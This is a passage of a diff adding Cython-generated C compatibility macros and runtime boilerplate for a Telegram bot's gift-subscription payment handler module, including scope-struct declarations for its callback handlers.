+#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__gift +#define __PYX_HAVE_API__handlers__payments__gift +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/gift.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* ForceInitThreads.proto */ +#ifndef __PYX_FORCE_INIT_THREADS + #define __PYX_FORCE_INIT_THREADS 0 +#endif + +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + +/* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; +}; + + +/* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_expiry_time; + PyObject *__pyx_v_gift; + PyObject *__pyx_v_gifts; + PyObject *__pyx_v_gifts_text; + PyObject *__pyx_v_is_used; + PyObject *__pyx_v_months; + PyObject *__pyx_v_recipient; + PyObject *__pyx_v_session; + PyObject *__pyx_v_user_tg_id; +}; + + +/* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_months; + PyObject *__pyx_v_price; +}; + + +/* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler { + PyObject_HEAD + PyObject *__pyx_v_balance; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_price; + PyObject *__pyx_v_selected_months; + PyObject *__pyx_v_session; + PyObject *__pyx_v_user_tg_id; +}; + + +/* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_e; + PyObject *__pyx_v_expiry_time; + PyObject *__pyx_v_gift_id; + PyObject *__pyx_v_gift_link; + PyObject *__pyx_v_price; + PyObject *__pyx_v_selected_months; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code { + PyObject_HEAD + PyObject *__pyx_v_data; + PyObject *__pyx_v_hardware_id; + PyObject *__pyx_v_payload; + PyObject *__pyx_v_response; + PyObject *__pyx_v_session; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; + PyObject *__pyx_t_6; + PyObject *__pyx_t_7; + PyObject *__pyx_t_8; + PyObject *__pyx_t_9; + PyObject *__pyx_t_10; + PyObject *__pyx_t_11; + PyObject *__pyx_t_12; + PyObject *__pyx_t_13; + PyObject *__pyx_t_14; + PyObject *__pyx_t_15; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define 